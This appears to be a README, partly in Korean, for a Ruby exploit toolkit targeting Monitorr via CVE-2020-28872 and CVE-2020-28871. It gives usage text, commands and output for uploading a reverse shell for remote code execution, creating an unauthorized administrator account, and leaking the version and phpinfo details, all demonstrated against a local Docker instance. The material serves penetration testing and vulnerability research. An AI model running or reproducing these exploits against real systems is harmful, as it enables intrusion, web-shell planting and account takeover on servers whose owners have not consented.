sec-it/monitorr-exploit-toolkitMultiple exploits for Monitorr
CVE-2020-28872 및 CVE-2020-28871에 대한 익스플로잇.
$ ruby exploit.rb -h
Monitorr-Exploit
Usage:
exploit.rb upload <url> <file> [--debug]
exploit.rb create <url> <user> <pass> <email> [--debug]
exploit.rb version <url> [--debug]
exploit.rb phpinfo <url> [--debug]
exploit.rb -h | --help
upload: Upload a file (RCE via unrestricted file upload)
version: Try to fetch Monitorr version
phpinfo: Extract main phpinfo() information (Information leakage)
create: Create an administrator account (Authorization bypass)
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<file> File to be uploaded
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb upload http://example.org revshell.php
exploit.rb create https://example.org:8080/monitorr/ noraj password '[email protected]'
exploit.rb version https://example.org:7000/
리버스 셸 업로드:
$ ruby exploit.rb upload http://localhost:7000/ shell.php
[+] File uploaded:
http://localhost:7000//assets/data/usrimg/shell.php
관리자 계정 생성:
$ ruby exploit.rb create http://localhost:7000/ noraj20 password '[email protected]'
[+] User created
Username: noraj20
Email: [email protected]
Password: password
Monitorr 버전 확인:
$ ruby exploit.rb version http://localhost:7000/
1.7.6m
phpinfp() 가져오기:
$ ruby exploit.rb phpinfo http://localhost:7000/
System: Linux f0ded2053dda 5.12.12-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 18 Jun 2021 21:59:24 +0000 x86_64
PHP version: 7.1.17
disable_functions: no value</i>
open_basedir: no value</i>
Full phpinfo() location: http://localhost:7000//assets/php/phpinfo.php
gem을 사용한 예:
bundle install
# or
gem install httpx docopt
경고: 당연히 이 구성은 프로덕션 환경에서의 사용에 적합하지 않습니다!
$ sudo docker-compose up
http://127.0.0.1:7000/monitorr/settings.php에서 앱을 설정/초기화하세요.
이것은 EDB-48981 (CVE-2020-28872) 및 EDB-48980 (CVE-2020-28871)을 더 나은 형태로 재작성하고 융합한 버전이며, 추가 기능이 포함되어 있습니다.
업로드 및 관리자 계정 생성 취약점은 Lyhin's Lab이 발견했습니다. phpinfo 및 Monitorr 버전 유출은 Alexandre ZANNI aka noraj이 발견했습니다.
원본 익스플로잇 및 취약점 분석: